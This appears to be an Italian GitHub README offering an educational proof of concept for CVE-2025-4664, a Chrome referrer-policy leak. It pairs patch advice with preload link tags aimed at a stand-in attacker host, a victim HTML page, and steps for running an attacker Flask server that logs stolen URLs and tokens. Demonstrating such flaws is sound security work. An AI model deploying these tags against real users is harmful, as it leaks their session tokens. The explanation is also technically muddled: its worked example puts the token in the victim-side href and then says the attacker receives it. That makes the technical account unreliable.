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GitHubspeinador/cve-2025-4664

CVE-2025-4664

Demo educativa di CVE-2025-4664, una vulnerabilità del Chrome Loader che consente la fuga di dati cross-origin tramite manipolazione della referrer-policy. Include una pagina HTML vittima e un server Flask dell'attaccante per una simulazione pratica di sfruttamento.

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1 anno faNon ancora revisionato

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🔒 Vulnerabilità CVE-2025-4664

La vulnerabilità CVE-2025-4664 è un difetto di sicurezza ad alta gravità identificato nel componente Loader di Google Chrome, presente nelle versioni precedenti alla 136.0.7103.113. Questo problema consente a un attaccante remoto di filtrare dati di origine incrociata tramite una pagina HTML appositamente predisposta, compromettendo potenzialmente informazioni sensibili come token di sessione o credenziali di autenticazione.


❓ In cosa consiste la vulnerabilità?

Il difetto risiede in un'implementazione inadeguata delle politiche di sicurezza nel componente Loader di Chrome. Nello specifico, Chrome interpreta la direttiva referrer-policy all'interno dell'intestazione HTTP Link nelle richieste di sotto-risorse (come immagini o script), anche quando altri browser non lo fanno. Un attaccante può sfruttare questo comportamento configurando una politica meno restrittiva, come unsafe-url, causando la fuga di URL complete, inclusi parametri sensibili, verso domini controllati dall'attaccante.


⚠️ Impatto e sfruttamento attivo

Questa vulnerabilità è stata sfruttata attivamente in ambienti reali, portando l'Agenzia per la Sicurezza Informatica e le Infrastrutture degli Stati Uniti (CISA) a includerla nel suo Catalogo delle Vulnerabilità Note e Sfruttate (KEV). CISA ha fissato al 5 giugno 2025 la scadenza entro la quale le agenzie federali devono applicare le correzioni necessarie.


🛡️ Mitigazione e raccomandazioni

Google ha rilasciato aggiornamenti per correggere questa vulnerabilità nelle seguenti versioni:

  • 🖥️ Windows e Mac: 136.0.7103.113/.114
  • 🐧 Linux: 136.0.7103.113

Si raccomanda vivamente a tutti gli utenti di aggiornare il proprio browser Chrome all'ultima versione disponibile. Per verificare e applicare l'aggiornamento:

  1. 🔍 Apri Chrome e clicca sul menu dei tre punti nell'angolo in alto a destra.
  2. ⚙️ Seleziona "Aiuto" e poi "Informazioni su Google Chrome".
  3. ⬇️ Chrome cercherà automaticamente gli aggiornamenti e li installerà se disponibili.
  4. 🔄 Dopo l'aggiornamento, riavvia il browser per applicare le modifiche.

Inoltre, gli utenti di browser basati su Chromium, come Microsoft Edge, Brave, Opera e Vivaldi, devono prestare attenzione ai relativi aggiornamenti, poiché potrebbero essere influenzati da questa vulnerabilità.

Mantenere il browser aggiornato è essenziale per proteggersi da minacce di sicurezza attive e salvaguardare le informazioni personali.


🕵️‍♂️ Come viene sfruttata?

La vulnerabilità CVE-2025-4664 viene sfruttata manipolando il modo in cui Google Chrome gestisce la politica di referrer (referrer-policy) durante il caricamento di sotto-risorse (come immagini, script, ecc.) da link HTML.


⚙️ Come viene sfruttata tecnicamente:

  1. 🌐 Creazione di un sito malevolo: L'attaccante crea un sito web che include un link HTML come questo nella sua intestazione HTTP:

    root@kitploit:~
    <link rel="preload" as="image" href="https://vittima.com/immagine.jpg" referrerpolicy="unsafe-url">
    
  2. 🔧 Manipolazione di referrer-policy: Nella maggior parte dei browser, questo referrerpolicy nel tag <link> non viene applicato per la risorsa caricata. Tuttavia, Chrome lo applica, e questo è il cuore del problema.

  3. 📤 Filtraggio del Referer: Quando il browser della vittima (Chrome) carica la risorsa da vittima.com, invia l'intera URL del sito di origine come intestazione Referer, che può includere:

    • Token di sessione (?token=ABC123)
    • Parametri sensibili (?user=admin&password=1234)
    • URL private
  4. 🎯 Ricezione sul server dell'attaccante: L'attaccante può impostare come destinazione della risorsa un URL sotto il suo controllo, ad esempio:

    root@kitploit:~
    <link rel="preload" as="image" href="https://attaccante.com/cattura.jpg" referrerpolicy="unsafe-url">
    

    Quando la vittima accede a questa risorsa, Chrome invia la sua URL completa come Referer al server dell'attaccante.

  5. 🕵️ Furto di informazioni: Il server dell'attaccante registra le intestazioni HTTP e ottiene il contenuto completo dell'URL della vittima. Ciò può includere dati sensibili, token di accesso o persino URL di API interne.

✔️ Condizioni necessarie per il funzionamento:

  • 👤 La vittima utilizza Google Chrome non aggiornato.
  • 🔑 Il sito della vittima include informazioni sensibili nell'URL (come token di autenticazione).
  • 🎣 L'attaccante riesce a far caricare al browser della vittima una risorsa dal suo dominio (ad esempio tramite phishing, un annuncio malevolo o un reindirizzamento).

🧪 Esempio pratico dell'attacco (semplificato):

  1. L'attaccante invia alla vittima un link a:
    root@kitploit:~
    https://attaccante.com/pagina-malvagia.html
    
  2. In quella pagina viene caricato qualcosa come:
    root@kitploit:~
    <link rel="preload" as="image" href="https://vittima.com/profilo?token=ABC123" referrerpolicy="unsafe-url">
    
  3. Il browser Chrome invia:
    root@kitploit:~
    Referer: https://vittima.com/profilo?token=ABC123
    
    al dominio attaccante, esponendo il token.

Foto di profilo

File del progetto

🖥️ index.html — File vittima

Questo file simula la vittima dell'attacco; è una demo HTML semplificata per mostrare come la vulnerabilità CVE-2025-4664 possa essere sfruttata usando un tag malevolo:

  • Rappresenta l'interfaccia vulnerabile.
  • Viene utilizzato per dimostrare il funzionamento della vulnerabilità in un ambiente controllato.
  • Contiene elementi che l'attaccante può sfruttare secondo la CVE-2025-4664.
root@kitploit:~
<!DOCTYPE html>
<html lang="it">
<head>
  <meta charset="UTF-8">
  <title>Demo CVE-2025-4664</title>

  <!-- Questa risorsa punta a un sito vittima con informazioni sensibili nell'URL -->
  <link rel="preload" as="image"
        href="https://vittima.com/profilo?token=ABC123"
        referrerpolicy="unsafe-url">
</head>
<body>
  <h1>Dimostrazione della vulnerabilità CVE-2025-4664</h1>
  <p>Se stai usando una versione vulnerabile di Chrome, il browser invierà il <strong>Referer completo</strong> all'URL sopra.</p>
</body>
</html>

Cosa fa questo codice:

  • Il tag <link> è configurato per precaricare un'immagine da vittima.com con un token nell'URL.
  • Con referrerpolicy="unsafe-url", Chrome invierà l'intera URL della pagina corrente come Referer al dominio vittima.
  • Un attaccante può catturare quell'URL completa nei propri log se l'immagine punta al suo server.

🐍 servidor_atacante.py — File attaccante

Con questo script è possibile automatizzare l'attacco per catturare i Referer utilizzando un piccolo server in Python. Ecco un esempio che utilizza Flask per simulare il server dell'attaccante che riceve i dati:

  • Simula l'attacco contro la vittima rappresentata da index.html.
  • Implementa le tecniche descritte nella vulnerabilità.
  • Viene utilizzato per testare e validare la mitigazione implementata.

Come usarlo:

  1. Salva quel codice come servidor_atacante.py.
  2. Installa Flask se non lo hai:
root@kitploit:~
pip install flask
  1. Esegui il server:
root@kitploit:~
python servidor_atacante.py
  1. Poi modifica la demo HTML in questo modo:
root@kitploit:~
<link rel="preload" as="image"
      href="http://<tua_IP>:8080/cattura.jpg"
      referrerpolicy="unsafe-url">

Sostituisci <tua_IP> con l'IP pubblico o locale del server che esegue lo script.


💪 Come usare il progetto

🛠️ 1. Eseguire il server Flask

  1. Apri un terminale (PowerShell o CMD).

  2. Naviga nella cartella del file:

root@kitploit:~
cd "C:\Users\Sebas\Desktop\servidor_atacante"
  1. Esegui Flask:
root@kitploit:~
python servidor_atacante.py
  1. Vedrai qualcosa come:
root@kitploit:~
* Running on http://127.0.0.1:8080
* Running on http://192.168.1.35:8080

🌐 2. Creare e aprire index.html (simulando la vittima)

Nella stessa cartella (C:\Users\Sebas\Desktop\servidor_atacante), crea un file chiamato index.html con questo contenuto:

root@kitploit:~
<!DOCTYPE html>
<html lang="it">
<head>
  <meta charset="UTF-8">
  <title>Demo CVE-2025-4664</title>

  <!-- Simula l'attacco -->
  <link rel="preload" as="image"
        href="http://192.168.1.35:8080/cattura.jpg"
        referrerpolicy="unsafe-url">
</head>
<body>
  <h1>Simulazione CVE-2025-4664</h1>
  <p>Questo HTML tenta di filtrare l'URL completa (incluso il token) all'attaccante.</p>
</body>
</html>

✅ Importante: Assicurati che l'IP (192.168.1.35) corrisponda a quello mostrato da Flask come IP locale. Se è diverso, modificalo nell'HTML.

🚀 3. Aprire index.html con parametro sensibile

  1. Apri Chrome.

  2. Nella barra degli indirizzi, scrivi:

root@kitploit:~
file:///C:/[Cartella_destinazione]/servidor_atacante/index.html?token=ABC123
  1. Premi Invio.

  2. 📥 Visualizzare il risultato sul server Nella console di Flask dovresti vedere qualcosa come:

root@kitploit:~
[+] Referer ricevuto: file:///C:/[Cartella_destinazione]/servidor_atacante/index.html?token=ABC123

[Cartella_destinazione]: Modifica questo parametro con la cartella in cui hai salvato il file.

🎯 Ciò significa che il browser ha inviato il Referer completo all'attaccante!


🧑‍🏫 Autore

Spiegazione elaborata da Sebastian Peinador a scopo didattico e di ricerca in cybersecurity offensiva.


📄 Licenza

Questo materiale è distribuito sotto licenza MIT.


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